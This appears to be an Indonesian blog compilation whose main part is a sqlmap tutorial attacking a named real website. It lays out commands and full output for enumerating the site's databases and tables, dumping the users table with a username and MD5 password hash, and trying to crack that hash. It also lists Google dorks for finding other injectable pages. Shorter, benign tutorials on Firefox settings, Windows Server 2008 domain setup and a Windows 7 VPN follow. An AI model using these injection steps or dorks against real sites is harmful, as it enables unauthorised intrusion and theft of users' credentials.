Tutorial SQL Injection with SQL MAP

Berikut adalah Tutorial menggunakan SQL MAP untuk mendapatkan user Account dari DATABASE sebuah Website.
NB = SQLMAP adalah tools hacking yang berjalan di OS LINUX.
NB = aku anggap kamu sudah install TOOLS SQLMAP ini di OS LINUX mu.

KETERANGAN PERINTAH = 

--dbs         : untuk mengetahui ada berapa DATABASE di website tersebut 

--tables     : untuk mengetahui ada table apa saja di website tersebut 

--columns : untuk mengetahui ada berapa column dari table yang kita pilih 

--level 5    : untuk meningkatkan tingkat scanning kita hingga ke level 5 dari website yang kita scan 

--random-agent : untuk (maaf saya belum tahu) 

-D , -T ,-C : Database, Table, Column

Target = http://www.barracuda.gr

1. Buka TERMINAL mu dan pindah ke directory dimana SQL MAP mu kamu simpan.
NB = saya mendowload ulang dan menyimpan FOLDER SQLMAP di Desktop LINUX BACKTRACK saya.  

setelah masuk ke directory / folder penyimpanan tools SQLMAP, ketikkan perintah ini di TERMINAL mu :
=> ./sqlmap.py -u http://www.barracuda.gr/newsone.php?id=50 --random-agent --dbs

kalau saya seperti ini hasil lengkap dari syntaxnya =
root@bt:~/Desktop/HACK/sqlmap# ./sqlmap.py -u http://www.barracuda.gr/newsone.php?id=50 --random-agent --dbs

hasilnya

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 22:43:09

[22:43:09] [INFO] fetched random HTTP User-Agent header from file '/root/Desktop/HACK/sqlmap/txt/user-agents.txt': Mozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2
[22:43:12] [INFO] testing connection to the target url
[22:43:15] [INFO] testing if the url is stable, wait a few seconds
[22:43:24] [INFO] url is stable
[22:43:24] [INFO] testing if GET parameter 'id' is dynamic
[22:43:26] [INFO] confirming that GET parameter 'id' is dynamic
[22:43:27] [INFO] GET parameter 'id' is dynamic
[22:43:28] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL)
[22:43:28] [INFO] testing for SQL injection on GET parameter 'id'
[22:43:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:43:37] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[22:43:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[22:43:38] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:43:39] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
parsed error message(s) showed that the back-end DBMS could be MySQL. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y

[22:45:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[22:45:31] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found                                                                                                
[22:45:36] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test                                    
[22:45:48] [INFO] target url appears to have 8 columns in query
[22:45:57] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y
sqlmap identified the following injection points with a total of 21 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=50 AND 2597=2597

    Type: UNION query
    Title: MySQL UNION query (NULL) - 8 columns
    Payload: id=50 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a6364683a,0x54647175584c58446754,0x3a62796f3a), NULL, NULL, NULL, NULL, NULL, NULL#
---
[22:46:36] [INFO] testing MySQL
[22:46:40] [INFO] confirming MySQL
[22:46:43] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.22
back-end DBMS: MySQL >= 5.0.0
[22:46:43] [INFO] fetching database names
[22:46:44] [INFO] the SQL query used returns 2 entries
[22:46:48] [INFO] retrieved: "information_schema"
[22:46:49] [INFO] retrieved: "barrak_db"                                                                                      
available databases [2]:                                                                                                      
[*] barrak_db
[*] information_schema

[22:46:49] [INFO] fetched data logged to text files under '/root/Desktop/HACK/sqlmap/output/www.barracuda.gr'
[*] shutting down at 22:46:49 

2. Kita sudah tahu DATABASE nya dari web site tersebut. Ada 2 macam yaitu Barrack_db dan Information_schema .
sekarang ketikkan perintah berikut untuk mengetahui table-tablenya :
=> ./sqlmap.py -u http://www.barracuda.gr/newsone.php?id=50 --random-agent -D barrak_db --tables

hasilnya

sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org                                                                                                                                                                                               
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
                                                                                                                                                                                               
[*] starting at 22:49:05                                                                                                                                                                       
                                                                                                                                                                                               
[22:49:05] [INFO] fetched random HTTP User-Agent header from file '/root/Desktop/HACK/sqlmap/txt/user-agents.txt': Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1
[22:49:05] [INFO] resuming back-end DBMS 'mysql'                                                   
[22:49:07] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:                                                                                                           
---                                                                                                                                                                                            
Place: GET                                                                                                                                                                                     
Parameter: id                                                                                                                                                                                  
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=50 AND 2597=2597

    Type: UNION query
    Title: MySQL UNION query (NULL) - 8 columns
    Payload: id=50 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a6364683a,0x54647175584c58446754,0x3a62796f3a), NULL, NULL, NULL, NULL, NULL, NULL#
---
[22:49:11] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[22:49:11] [INFO] fetching tables for database: 'barrak_db'
[22:49:13] [INFO] the SQL query used returns 7 entries
[22:49:14] [INFO] retrieved: "article"
[22:49:16] [INFO] retrieved: "newsletter"
[22:49:17] [INFO] retrieved:"offers"
[22:49:18] [INFO] retrieved: "photos_tbl"
[22:49:20] [INFO] retrieved: "products_tbl"
[22:49:21] [INFO] retrieved: "tbl_category"
[22:49:23] [INFO] retrieved: "users"
Database: barrak_db                                                                                                                                                                            
[7 tables]
+--------------+
| article         |
| newsletter   |
| offers          |
| photos_tbl  |
| products_tbl |
| tbl_category |
| users           |
+--------------+


[22:51:40] [INFO] fetched data logged to text files under '/root/Desktop/HACK/sqlmap/output/www.barracuda.gr'

[*] shutting down at 22:51:40 

3. Kita sudah dapat table-table apa saja yang ada di dalam DATABASE tersebut beserta.
Saya tertarik dengan TABLE USER, mungkin berisi NAMA-NAMA USER termasuk ADMIN yang dipergunakan untuk LOGIN didalam webpage login.
Selanjutnya ketikkan perintah berikut untuk mengetahui COLUMN apa saja yang ada di dalam tabel USER :
./sqlmap.py -u http://www.barracuda.gr/newsone.php?id=50 --random-agent -D barrak_db -T users --columns

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 23:18:10

[23:18:10] [INFO] fetched random HTTP User-Agent header from file '/root/Desktop/HACK/sqlmap/txt/user-agents.txt': Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16                                                                                                                           
[23:18:10] [INFO] resuming back-end DBMS 'mysql'
[23:18:10] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=50 AND 2597=2597

    Type: UNION query
    Title: MySQL UNION query (NULL) - 8 columns
    Payload: id=50 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a6364683a,0x54647175584c58446754,0x3a62796f3a), NULL, NULL, NULL, NULL, NULL, NULL#
---
[23:18:15] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[23:18:15] [INFO] fetching columns for table 'users' in database 'barrak_db'
[23:18:15] [INFO] the SQL query used returns 18 entries
[23:18:15] [INFO] resumed: "userid","int(5)"
[23:18:15] [INFO] resumed: "firstname","varchar(30)"
[23:18:15] [INFO] resumed: "lastname","varchar(30)"
[23:18:15] [INFO] resumed: "username","varchar(20)"
[23:18:15] [INFO] resumed: "password","varchar(100)"
[23:18:15] [INFO] resumed: "useraddress","varchar(50)"
[23:18:15] [INFO] resumed: "postalcode","int(8)"
[23:18:15] [INFO] resumed: "perioxi","varchar(30)"
[23:18:15] [INFO] resumed: "poli","varchar(30)"
[23:18:15] [INFO] resumed: "phone","int(10)"
[23:18:15] [INFO] resumed: "usermail","varchar(30)"
[23:18:15] [INFO] resumed: "confirm_hash","varchar(40)"
[23:18:15] [INFO] resumed: "is_confirmed","int(3)"
[23:18:15] [INFO] resumed: "userip","varchar(15)"
[23:18:15] [INFO] resumed: "date_created","date"
[23:18:15] [INFO] resumed: "islogged","int(3)"
[23:18:15] [INFO] resumed: "last_logging","date"
[23:18:15] [INFO] resumed: "user_level","int(3)"
Database: barrak_db                                                                                                                                                                            
Table: users
[18 columns]
+--------------+--------------+
| Column       | Type                 |
+--------------+--------------+
| confirm_hash | varchar(40)  |
| date_created  | date               |
| firstname        | varchar(30)  |
| is_confirmed  | int(3)             |
| islogged          | int(3)            |
| last_logging   | date               |
| lastname         | varchar(30)  |
| password        | varchar(100)|
| perioxi            | varchar(30)  |
| phone              | int(10)          |
| poli                 | varchar(30)  |
| postalcode      | int(8)            |
| user_level       | int(3)            |
| useraddress    | varchar(50)  |
| userid             | int(5)            |
| userip             | varchar(15)  |
| usermail         | varchar(30)  |
| username        | varchar(20) |
+--------------+--------------+

[23:18:15] [INFO] fetched data logged to text files under '/root/Desktop/HACK/sqlmap/output/www.barracuda.gr'

[*] shutting down at 23:18:15

4. Sesuai Dugaan, Tidak hanya terdapat Column USERNAME, melainkan terdapat Column PASSWORD juga.
mari kita DUMP #devils mode = on
ketikkan perintah berikut :
=> ./sqlmap.py -u http://www.barracuda.gr/newsone.php?id=50 --random-agent -D barrak_db -T users -C password,username,usermail,userid,userip,user_level --dump

hasilnya

sqlmap/1.0-dev - automatic SQL injection and database takeover tool 
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 23:21:13

[23:21:13] [INFO] fetched random HTTP User-Agent header from file '/root/Desktop/HACK/sqlmap/txt/user-agents.txt': Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2                                                                                                                                                                                            
[23:21:13] [INFO] resuming back-end DBMS 'mysql'
[23:21:13] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=50 AND 2597=2597

    Type: UNION query
    Title: MySQL UNION query (NULL) - 8 columns
    Payload: id=50 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a6364683a,0x54647175584c58446754,0x3a62796f3a), NULL, NULL, NULL, NULL, NULL, NULL#
---
[23:21:18] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[23:21:18] [INFO] fetching entries of column(s) 'password, user_level, userid, userip, usermail, username' for table 'users' in database 'barrak_db'
[23:21:18] [INFO] the SQL query used returns 1 entries
[23:21:19] [INFO] retrieved: "a65d487491bd8078e3fc7c83db598cbe","3","15","","","barrak"
[23:21:19] [INFO] analyzing table dump for possible password hashes recognized possible password hashes in column 'password'. Do you want to crack them via a dictionary-based attack? [y/N/q] Y
[23:21:22] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/root/Desktop/HACK/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1

[23:21:24] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] Y

[23:21:26] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[23:21:26] [INFO] starting 4 processes
[23:21:45] [INFO] using suffix '1'
[23:22:03] [INFO] using suffix '123'
[23:22:22] [INFO] using suffix '2'
[23:22:41] [INFO] using suffix '12'
[23:22:59] [INFO] using suffix '3'
[23:23:17] [INFO] using suffix '13'
[23:23:37] [INFO] using suffix '7'
[23:23:56] [INFO] using suffix '11'
[23:24:14] [INFO] using suffix '5'
[23:24:34] [INFO] using suffix '22'
[23:24:53] [INFO] using suffix '23'
[23:25:13] [INFO] using suffix '01'
[23:25:32] [INFO] using suffix '4'
[23:25:50] [INFO] using suffix '07'
[23:26:11] [INFO] using suffix '21'
[23:26:30] [INFO] using suffix '14'
[23:26:49] [INFO] using suffix '10'
[23:27:10] [INFO] using suffix '06'
[23:27:29] [INFO] using suffix '08'
[23:27:50] [INFO] using suffix '8'
[23:28:09] [INFO] using suffix '15'
[23:28:30] [INFO] using suffix '69'
[23:28:49] [INFO] using suffix '16'
[23:29:07] [INFO] using suffix '6'
[23:29:25] [INFO] using suffix '18'
[23:29:43] [INFO] using suffix '!'
[23:30:02] [INFO] using suffix '.'
[23:30:21] [INFO] using suffix '*'
[23:30:41] [INFO] using suffix '!!'
[23:31:01] [INFO] using suffix '?'
[23:31:20] [INFO] using suffix ';'
[23:31:39] [INFO] using suffix '..'
[23:31:58] [INFO] using suffix '!!!'
[23:32:16] [INFO] using suffix ','
[23:32:36] [INFO] using suffix '@'
[23:32:55] [INFO] writing uncracked hashes to file '/tmp/tmps5Ogjj.txt' for eventual further processing
[23:32:55] [WARNING] no clear password(s) found
[23:32:55] [INFO] postprocessing table dump
Database: barrak_db
Table: users
[1 entry]
+--------+---------+----------+----------+---------------------------------------------------+----------------+
| userid | userip     | username | usermail | password                                                | user_level      |
+--------+---------+----------+----------+---------------------------------------------------+----------------+
| 15       | <blank> | barrak      | <blank>  | a65d487491bd8078e3fc7c83db598cbe | 3                    |
+--------+---------+----------+----------+---------------------------------------------------+-----------------+

[23:32:55] [INFO] table 'barrak_db.users' dumped to CSV file '/root/Desktop/HACK/sqlmap/output/www.barracuda.gr/dump/barrak_db/users.csv'
[23:32:55] [INFO] fetched data logged to text files under '/root/Desktop/HACK/sqlmap/output/www.barracuda.gr'

[*] shutting down at 23:32:55 

DAMN....!!!!
PASSWORD nya bukan PASSWORD TELANJANG.
jadi kita harus DECRYPT dulu password tersebut.
HITUNG jumlah PASSWORD HASH nya (ada 32 panjang bit), berarti kemungkinan menggunakan ENCRYPTION MD5.
mari kita coba decrypt menggunakan MD5 DECRYPTOR ONLINE.
atau alternatif lain kita menggunakan " WWW.GOOGLE.COM "
ketikkan HASH PASSWORD tersebut pada GOOGLE
dan beginilah hasilnya

kita juga dapat membuktikan melalui LINK PASTEBIN

Kali ini SAYA BELUM BERUNTUNG + Belum punya waktu untuk men-DECRYPT password tersebut.
Semoga ada waktu buat maen-maen dengan PASSWORD ini.
(:

ALL DORK

1. For enter (bypass Account and password) in MYSQL DATABASE.
open your www.google.com and type allinurl:index.php?db=information_schema
2. For dork SQL Injection
open your google and type => inurl:newsone.php?id=

Change Default Searching on Mozilla Firefox

This tutorial focus about change web default searching on mozilla Firefox browser.
Lets to the main topic.
1. open your Firefox browser and type "about:config" at URL Address.
choose I'll be careful, I Promise option to open address search box.

2. Than type "keyword.url" on address search. like this below picture :

3. Double click those information and than type " http://www.google.com/search?ie=UTF-8&oe=utf-8&q= " 

4. Restart Your Firefox Browser

Create Name Server, IP Address and DOMAIN on WINDOWS Server 2008

Berikut adalah Tutorial tentang membuat Name Server, IP Address dan Join DOMAIN di WINDOWS SERVER 2008 via REMOTE DESKTOP CONNECTION. 

Langkah-langkahnya yaitu :
1. buka "RUN" dan ketikkan "MSTSC", maka akan terbuka sebuah REMOTE DESKTOP CONNECTION.

2. Setelah muncul Remote Desktop Connection, drag ke bawah OPTIONS hingga muncul tampilan yang lebar, dan isikan IP Address REMOTE SERVER anda. Berikut adalah gambar contohnya :

3. Pada Account ADMINISTRATOR, masukkan password Remote Server anda.

4. jika sebelumnya pada Komputer anda belum terdapat SERTIFIKAT tentang REMOTE SERVER tersebut, maka silahkan mendownload SERTIFIKAT REMOTE SERVER tersebut dengan memilih tombol YES.

5. Anda akan langsung dihadapkan pada tampilan DESKTOP REMOTE SERVER WINDOWS 2008.
kira-kira seperti inilah tampilan desktopnya :

6. Pada halaman SERVER MANAGER, pilih menu "CHANGE SYSTEM PROPERTIS" dan Settinglah NAME COMPUTER SERVER anda. Berikut contoh gambarnya :

7. Restart your remote computer and CONGRATS, you have been CREATE NAME SERVER successfully.

8. Langkah selanjutnya adalah CREATE IP Address Remote Computer Server.
Langkah-langkah pembuatannya akan lebih jelas jika kita melihat gambar dibawah ini :

Explanation : Choice "View Network Connections" menu and than right click on Local Area Connection and choose Properties menu. After that DISABLE IPV6 and on IPV4, choice Properties menu and setting your IP Address Static.

9. Langkah kali ini adalah melakukan penyettingan terhadap TIME and DATE REGIONAL.
klik kiri pada menu JAM yang berada di pojok kanan bawah. setelah itu pilih menu Change Date and Time Settings.

 

10. Aktivasi atas Product WINDOWS SERVER yang anda pergunakan.

11. Update your Windows Server 2008.

 

----

----

-----
KONFIGURASI UPDATE TINGKAT LANJUT

Berikut adalah settingan untuk tingkat lanjut dari update Microsoft windows server 2008 yang bertujuan untuk proses maintenance.
Klik Configure Updates dan pada menu Control panel home pilih ChangeSettings option.

--------

kita sengaja memilih option Check for update but let me choose whether to download and install them tujuannya agar TIDAK SEMUA UPDATE dari microsoft kedepannya tidak kita install di server kita. Hal ini tentu saja berkaitan dengan space harddisk dari server kita yang akan terpakai untuk instalasi updating tersebut.

12. Setelah Update Windows Server 2008 and restart Windows Servernya, kita akan melakukan Konfirgurasi terhadap Remote Desktopnya. Tujuannya adalah untuk mempermudah kita sebagai engineer IT dalam menghandle Problem yang terjadi dikemudian hari, atau hanya sebatas untuk proses Maintenance. Penjelasan mengenai langkah-langkah konfigurasinya dapat diperoleh berdasarkan gambar berikut ini :

13. Instalasi terhadap Active Directory Domain Service
Instalasi ini bertujuan untuk membuat sebuah DOMAIN CONTROLLER yang berfungsi untuk menghandle service - service pada Database Active Directory.
Berikut adalah prosedure dari pembuatan Domain Controller:
Pada Halaman Server manager klik Menu "ROLES" hingga muncul halaman Roles Summary.
Di halaman Roles Summary pilih "ADD ROLES" seperti gambar berikut ini :

Setelah kita berada di halaman Server Role, terdapat banyak option yang boleh kita install dengan cara men-check-listnya. Namun yang kita butuhkan hanya men-checklist option "Active Directory Domain Service".

Saat kita menekan tombol NEXT, kita akan dibawa ke halaman Informasi mengenai Pengenalan terhadap Active Directory Domain Service.

 
Skip halaman ini dan langsung saja menekan tombol Next.
Berikut adalah sambutan setelah kita menekan tombol NEXT :

Klik tombol Install untuk menginstall Domain Service yang kita butuhkan.

 Setelah kita berhasil menginstall Domain Service tersebut, maka tampilannya akan berubah menjadi seperti ini :

14. Instalasi DCPROMO.
setelah semua hal selesai kita lakukan, maka langkah akhir yang harus kita lakukan adalah Instalasi DCPROMO. tanpa instalasi hal ini, maka server yang kita buat belum berhasil membuat sebuah DOMAIN CONTROLLER yang bisa menjalankan DOMAIN SERVICE di Active Directory.
Berikut adalah langkah-langkah dari instalasi DCPROMO.

Buka start menu windows server 2008 anda dan ketikkan "DCPROMO" dibagian searching (tanpa tanda kutip). Maka akan muncul sebuah tampilan gambar seperti berikut ini :

nah, selanjutnya saat kita berada di halaman AD Domain Service Installation, kita cukup SKIP bagian ini (tanpa menchecklist menu USE ADVANCE MODE). jadi hanya menekan tombol NEXT saja.

sama halnya dengan bagian atas, pada bagian Operating System Compatibility kita juga cukup untuk melakukan SKIP bagian ini. Dengan cara langsung menekan tombol NEXT.

Nah, sekarang kita berada di halaman Create New Domain.
Di halaman ini terdapat 2 pilihan antara membuat sebuah DOMAIN BARU atau memilih DOMAIN yang telah kita buat (domain lama). Karena pada tutorial kali ini kita berada di kondisi DOMAIN yang belum terset-up, maka kita akan memilih "CREATE A NEW DOMAIN IN NEW FOREST".

nah pada kolom FQDN (Fully Qualified Domain Name), kita bisa mengisikan nama DOMAIN dengan contoh " LATIHAN.SERVER.COM ".

Dan pada Forest Functional page nya, kita wajib memilih OS sesuai dengan OS yang kita install, yaitu dalam hal ini windows server 2008 R2.

setelah kita menekan tombol next, maka kita akan berada di halaman Additional Domain Controller. meskipun ada beberapa pilihan, namun kita hanya bisa memilih DNS Server sebagai additional options nya untuk Domain Controller. hal ini semata-mata karena kita masih dalam tahap pembuatan Domain Controller. Jika ada keterangan tentang delegation, maka kita harus menekan tombol YES untuk melanjutkannya.

selanjutnya, halaman yang 1 ini adalah halaman tempat penyimpanan program instalasi kita (Location installation disk). Jika kita memilih default dari location installation disk, maka biarkan saja informasi yang ada dan kita tinggal memilih tombol NEXT.

Jika sudah, buatlah password untuk Domain Controller tersebut.

Akan ditampilkan halaman yang menyatakan tentang simpulan atas settingan kita.

selanjutnya komputer windows server 2008 R2 akan membuat Active directory domain service. proses ini mungkin akan memakan waktu 3 hingga 5 menit. Jangan lupa untuk memberikan check list pada checkbox reboot on completion.

15. Pembuatan User baru sekelas Administrator
Berikut adalah langkah-langkah yang dipergunakan untuk membuat user baru dengan level sesama administrator.
Penjelasan lebih lengkap berada di gambar berikut ini, jadi perhatikan baik-baik gambar berikut, terutama tentang LETAK Direktory FOLDER.

Ubah Username Administrator menjadi username baru, misal = adminfirman . Dan selanjutnya tekan YES jika ada informasi mengenai After Renaming.

Isikan data-data berikut pada Kolom Box. Perhatikan Domainnya.

Setelah selesai, langkah selanjutnya adalah RESET PASSWORD atas Account tersebut.
metodenya sama dengan metode diatas, tinggal klik kanan dan pilih menu RESET PASSWORD.

Isikan Password baru anda.
INGAT = PASSWORD HARUS BERISI NAMA, ANGKA dan SYMBOL.

 jika berhasil, akan ada keterangan seperti dibawah ini :

Untuk melihat Hasilnya, silahkan restart windows server 2008 R2 anda dan masuk ke dalam REMOTE DESKTOP. Pilih menu USE ANOTHER ACCOUNT dan isikan dengan account adminfirman dengan PASSWORD = administrator.1

Create VPN on Windows 7

Berikut adalah langkah-langkah membuat Koneksi VPN (Virtual Private Network) pada sistem operasi Windows 7 :
Sebelumnya tancapkan terlebih dahulu kabel LAN (UTP RJ45) anda ke laptop.
1. pada pojok kanan bawah, ada icon (gambar) komputer. Klik kiri icon tersebut dan pilihkah keterangan "Open Network and Sharing Center" seperti gambar dibawah ini :

2. Saat muncul gambar seperti dibawah ini, pilihlah option "Set up a new connection or network".

3. kemudian pilihlah option "Connect to a workplace"seperti gambar dibawah ini dan tekan Next : 

4. saat ada pertanyaan How do you want to a connect ?, pilih "Use my Internet Connection (VPN)". 

5. Pada menu Connect to a workplace, isikan Internet Address dengan IP yang anda pergunakan pada Jaringan Corporate anda. Kolom Destination Name adalah kolom untuk Nama koneksi yang kita buat. Dalam contoh ini saya mengisinya dengan nama "konek dg VPN". 

6. Setelah kita menekan tombol Next, maka akan muncul kolom pembuatan username dan password. Isikan data-data tersebut sesuai dengan data yang telah terdaftar pada SERVER VPN anda.  Berikut adalah contoh gambarnya : 

7. Kemudian tekan tombol Connect untuk melakukan Verifying atas inputan data anda tersebut. 

8. Jika data tersebut benar, akan muncul sebuah keterangan "You are Connected" seperti gambar dibawah ini : 

9. Selanjutnya pergunakan koneksi tersebut untuk jaringan PUBLIC NETWORK anda. Namun hal ini sifatnya TIDAK MUTLAK, anda juga dapat menggunakan koneksi tersebut sebagai default dari WORK PLACE atau HOME NETWORK anda.

10. Sesuai dengan menu option yang anda pilih, maka akan ditampilkan default pilihan pada keterangan Set Network Location.

11. Pergunakan pilihan PPTP (Point to Point Tunneling Protocol) pada menu Security.
untuk lebih jelasnya, berikut adalah gambarnya :